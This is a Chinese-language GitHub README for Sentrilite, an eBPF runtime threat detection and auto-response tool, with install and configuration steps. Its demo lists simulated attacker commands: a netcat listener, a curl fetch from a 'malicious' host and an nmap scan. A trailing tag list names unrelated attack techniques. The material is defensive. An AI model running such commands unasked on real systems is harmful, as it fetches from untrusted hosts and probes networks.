sentrilite/sentrilite-agent
GitHub: sentrilite/sentrilite-agent
基于 eBPF 的云运行时威胁检测与主动响应平台,提供实时监控、风险评分和自动处置能力。
Stars: 51 | Forks: 4
## Sentrilite — 威胁检测即代码与主动响应,基于 eBPF,集可观测性、运行时安全与云安全态势管理于一体,并提供 AI/LLM 洞察。
### 网站:https://sentrilite.com
### 请联系:info@sentrilite.com 获取试用许可证。
## 实时演示 – 主动威胁响应

## 本演示展示内容
- **执行期间**主动威胁的检测
- 基于 **系统调用 + 进程 + 网络行为**的风险评分
- 针对高风险活动的**自动进程终止**
本演示展示了使用 Sentrilite 在实时 Linux 系统上**实时检测并自动终止恶意活动**。
| 颜色 | 类别 | 含义 |
|------|---------|--------|
| 🔴 **红色** | 关键风险 | 高置信度确认的恶意行为 |
| 🟠 **橙色** | 中等风险 | 需要调查的可疑活动 |
| 🟣 **紫色** | 主动响应 | 已执行强制措施 – 进程已终止 |
模拟使用了以下命令:
```
sudo nc -l 5000
curl http://malicious_payload.com >/dev/null 2>&1
nmap -p 22,80,443 127.0.0.1 >/dev/null 2>&1
```
## Sentrilite 告警报告

## 控制平面 / 主仪表盘

## 实时服务器仪表盘

## Sentrilite 工作流程图

## Sentrilite 组件

## CI/CD 工作流

## ✨ 描述
Sentrilite 是一个检测即代码与主动响应平台,集混合云可编程可观测性、运行时安全与 CSPM(云安全态势管理)于一体,将结构化的实时事件流传输到 Web UI,通过自定义规则驱动风险评分、告警和报告。
混合云与多云就绪:在公有云和本地环境(EKS、GKE、AKS、原生 Kubernetes、裸机和边缘计算)中工作方式一致,为您提供统一、低开销的安全和可观测性层,通过单一仪表盘管理混合/多云环境。
在 Kubernetes 中,Sentrilite 以特权 DaemonSet 形式在每个节点上运行(无需更改您的工作负载)。每个代理使用 hostPID/hostNetwork 观察容器进程,然后通过将 cgroups 与 API 服务器关联,用 Pod 元数据(命名空间、Pod、容器、UID)丰富事件。这使您能够在容器/Pod 级别查看所有活动:
- 检测即代码:通过 JSON 文件即时添加/修改检测规则。热重载 — 无需重建,无需重新部署。参见 custom_rule.json 和 security_rules.json
- 主动响应:根据策略实时自动终止恶意进程,无需代理重启或重新部署。
- 无缝安装与升级:kubectl apply DaemonSet (sentrilite.yaml) 即可完成;滚动更新会在集群范围内获取新规则和镜像。
- 进程可见性:捕获每个容器/Pod 的命令和参数,包含用户、PID/PPID 和镜像上下文;触发如“告警 cat /etc/passwd”或“阻止高风险二进制文件”等规则。
- 文件活动:使用规则包匹配敏感文件路径(配置、密钥、令牌);标记数据窃取模式和权限提升尝试。
- 网络活动:追踪套接字打开和出站/入站连接/绑定;为目标 IP、端口或 CIDR 创建规则(例如,“拒绝到 1.2.3.0/24:443 的出站流量”)。
- 实时运维 UI:查看每个节点/Pod 的流事件,以及实时节点/服务器健康状况和 OOMKilled 通知;按命名空间/Pod/容器实时过滤。
- 自定义规则与风险:声明式 JSON 规则标记并评分事件;高风险发现转化为告警,附带包含 k8s 上下文的清晰、人类可读摘要。
- 报告:生成丰富的摘要报告(如 PDF/CSV),显示时间线、风险命令和每个命名空间的洞察,用于审计和事件审查。
- 实时安全态势:可选控制(如基于 iptables 的允许/拒绝规则)帮助您快速响应可疑网络行为。
- 第三方集成:与外部告警工具无缝集成,如:prometheus:alert-manager、pagerduty 等。
- LLM 驱动的洞察:自动总结趋势、解释异常,并从实时遥测和告警中建议补救措施/规则。
总之,Sentrilite 为您提供容器感知的进程、文件和网络可见性,开销极低,提供用于快速分类的实时仪表盘,以及用于合规和取证的可导出报告——所有这些都来自单一的节点级 DaemonSet。
- 网站:https://sentrilite.com
- 邮箱:info@sentrilite.com
- 混合云演示:https://youtu.be/FmFUs0ZhdIY
- Linux(裸机)演示:https://youtu.be/rRexG-f6YFM
## ✨ 关键特性
- 通过单一仪表盘实现多云/本地可见性和管理。
- eBPF 系统调用与网络可见性
- 实时仪表盘(Nginx + WebSocket 服务器)
- 具有风险评分和告警的自定义规则
- 作为 DaemonSet 运行时的 Kubernetes 丰富信息(命名空间/Pod/容器/UID)
- OOMKilled 告警和 Pod 监视器(如果 K8s API 可用,尽最大努力)
- 与 prometheus alert-manager/pagerduty 无缝集成
## 📦 本捆绑包内容
| 文件 | 用途
|---------------------------|------------------------------------------
| `trace_syscall.o` | 用于系统调用监控的 eBPF 内核对象
| `install.sh` | 加载 ebpf 内核模块的脚本
| `unload_bpf.sh` | 卸载 ebpf 内核模块的脚本
| `trace_events` | 用于网络/套接字活动的用户空间程序
| `sentrilite` | 将实时事件转发到浏览器仪表盘的 Go websocket 服务器
| `main.html` | 用于查看节点状态的主前端 UI
| `dashboard.html` | 用于查看实时事件的本地前端 UI
| `sys.conf` | 配置文件
| `custom_rules.json` | 自定义规则集。默认 30+ 条规则。可在运行时扩展。详情请参考产品指南。
| `security_rules.json` | Linux 与 Kubernetes 安全规则。可在运行时扩展。详情请参考产品指南。
| `sensitive_files.json` | 要监控的文件。详情请参考产品指南。
| `sentrilite.yaml` | 安装在 Kubernetes 集群上的 Sentrilite daemonset 清单
| `kustomization.yaml` | 用于更新 License.key 的 Kubernetes fest
| `charts` | 用于安装的 Helm Charts
| `bpftool` | 加载和附加内核跟踪点的工具。来源:https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf-next.git
| `LICENSE.bpftool` | bpftool 的 GPL-2.0 许可证。来源:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/LICENSES/preferred/GPL-2.0
| `license.key` | Sentrilite 许可证密钥文件
| `LICENSE.txt` | Sentrilite 许可协议
| `gen_keys.txt` | 创建代理/控制平面的 tls/ssl/jwt 密钥的说明
| `install.README` | 本安装指南
| `dashboard.README` | 仪表盘使用指南
| `Product Guide v1.1.pdf` | Sentrilite 产品指南
## ⚙️ 系统要求
- 支持 eBPF 的 Linux 内核(推荐 Linux 5.8+)
- Root 权限(用于加载 eBPF 程序)
- 端口:80(仪表盘),8765(WebSocket)
- Kubernetes(可选):具有运行特权 DaemonSet 能力的集群访问权限
## ⚙️ 通用要求
- bpftool: 加载 eBPF 程序并管理 maps sudo apt install bpftool (Ubuntu)
- libbpf & headers 内核加载器 (trace_events) 所需 大多数现代发行版已预装(使用捆绑的二进制文件)
- nginx 查看仪表盘所需 sudo apt install nginx
## 🔐 许可
该项目当前使用的是试用版 license.key。
## 🛠️ 第三方集成(PagerDuty & Alertmanager)
- Kubernetes:在 ConfigMap 中添加 URL(例如 ALERTMANAGER_URL,可选 PAGERDUTY_EVENTS_URL),并在 Secret 中添加 PagerDuty 路由密钥(PAGERDUTY_ROUTING_KEY)。
- 独立 Linux:在 sys.conf 中设置相同的密钥(例如 ALERTMANAGER_URL=http://..., PAGERDUTY_ROUTING_KEY=...; 如果省略,PD URL 默认为美国)。
Sentrilite 优先使用环境变量,若不可用则回退到 sys.conf(裸机)。
注意:Alertmanager 必须可访问并支持 v2 API (/api/v2/alerts)。PagerDuty 使用 Events v2。
## 快速试用
## 使用 Docker 运行
```
sudo docker run \
--name sentrilite \
--privileged \
--network host \
-v /sys/fs/bpf:/sys/fs/bpf \
-v /sys/kernel/debug:/sys/kernel/debug \
sentrilite/local:1.0.0
```
PDF 报告可在 http://localhost:8080 下载。报告每 5 分钟生成一次。
## 在 Kubernetes 集群上运行
git clone 仓库。cd 到 charts 目录并运行:
```
helm upgrade --install sentrilite charts/sentrilite -n kube-system --create-namespace
```
## 🛠️ 安装步骤
适用于 Kubernetes 集群:EKS/AKS/GKE 或私有 Kubernetes 集群
```
Helm Installation:
In the charts directory:
helm upgrade --install sentrilite charts/sentrilite -n kube-system --create-namespace
OR plain kubectl installation:
kubectl apply -f sentrilite.yaml
kubectl -n kube-system get pods -l app=sentrilite-agent -o wide
kubectl get nodes | awk '!/NAME/{print $1,",K8s"}' > nodes.txt
# 端口转发
POD=$(kubectl -n kube-system get pod -l app=sentrilite-agent -o name | head -n1)
kubectl -n kube-system port-forward "$POD" 8080:80 8765:8765
Example Alert Message:
{
"time": "2025-09-07 14:55:22",
"type": "high_risk",
"message": "root ran a high-risk command '/bin/sudo' from IP 10.0.0.1.",
"pid": "1546794",
"cmd": "/bin/sudo",
"args": "",
"ip": "127.0.0.1",
"risk_level": 1,
"tags": [
"privilege-escalation"
],
"k8s_namespace": "default",
"k8s_pod": "debug-shell",
"k8s_container": "shell",
"k8s_pod_uid": "092d4607-2fd3-4db7-aba5-812d0bcd4e06"
}
```
打开 main.html 并上传文件 nodes.txt
适用于非 Kubernetes Linux 集群
```
Run it with Docker on a Linux Server:
docker run --rm -it \
--privileged \
-v /sys/fs/bpf:/sys/fs/bpf \
-v /sys/kernel/debug:/sys/kernel/debug \
-p 8080:8080 \
sentrilite/local:1.0.0
It will auto-generate a PDF security report every 5 minutes, and you can view/download them at: http://localhost:8080
OR
1. **Unzip the bundle:**
unzip sentrilite_agent_bundle.zip
cd sentrilite
2. Load the bpf program:
sudo ./install.sh
3. Open sys.conf and configure:
IFACE=
LICENSE_KEY=./license.key
SIEM=""
PAGERDUTY_EVENTS_URL=""
PAGERDUTY_ROUTING_KEY=""
ALERTMANAGER_URL=""
4. Launch the Server:
sudo ./sentrilite
5. Open the Dashboard:
Copy the dashboard.html to /var/www/html or web root directory.
Open dashboard.html in your browser: http:///dashboard.html
You should see live events appear in real-time.
Log format in the Web UI:
[2025-04-14T00:12:32.008Z] PID=1234 COMM=ssh CMD=/bin/bash ARG= IP=127.0.0.1 TYPE=EXECVE
6. Open the Main Dashboard:
Copy the main.html & jspdf.umd.min.js to /var/www/html on your main admin server.
Open the main.html in your browser: http:///main.html
Click choose file and select a file containing your server lists.
Example file format:
Server_1_ip_address,prod
Server_2_ip_address,test
```
正确上传后,Sentrilite 代理将监控并显示这些服务器的状态/告警/AI 洞察。
更多详细信息,请参考 dashboard.README
# 配置
- license.key — 放置在当前目录(内置于镜像或作为 Secret 挂载)。
- sys.conf — 网络配置,放置在当前目录(内置于镜像或作为 ConfigMap 挂载)。
- 规则文件(custom_rules.json, sensitive_files.json, security_rules.json, alerts.json)位于工作目录;规则可通过仪表盘管理。
# 告警与 K8s 丰富信息
- 事件包括(如果可用):k8s_namespace, k8s_pod, k8s_container, k8s_pod_uid。
- 当代理可以访问 K8s API 时,OOMKilled 告警和 Pod 监视器将以尽力而为的方式运行。
## 🛠️ 卸载步骤
适用于 Kubernetes 集群:EKS/AKS/GKE 或私有 Kubernetes 集群
```
kubectl -n kube-system delete ds/sentrilite-agent
# (可选)如果 Pod 卡在 Terminating 状态:
kubectl -n kube-system delete pod -l app=sentrilite-agent --force --grace-period=0
```
适用于非 Kubernetes Linux 集群
以 root 身份运行以下命令。
```
sudo ./unload_bpf.sh
```
## 支持
关于许可、故障排除或功能请求:
- 📧 info@sentrilite.com
- 🌐 https://sentrilite.com
标签:AMSI绕过, API集成, Beacon Object File, CI/CD安全, CSPM, CWPP, DLL 劫持, Docker镜像, EDR, Go语言工具, IP 地址批量处理, Llama, TinkerPop, 主动响应, 云安全态势管理, 人工智能, 前端应用, 可观测性, 后端开发, 后端开发, 大语言模型, 威胁检测, 威胁检测即代码, 子域名生成, 子域名突变, 恶意软件防护, 插件系统, 日志审计, 混合云安全, 用户模式Hook绕过, 网络安全, 网络安全审计, 脆弱性评估, 自动化防御, 请求拦截, 隐私保护, 零日漏洞防护, 风险评分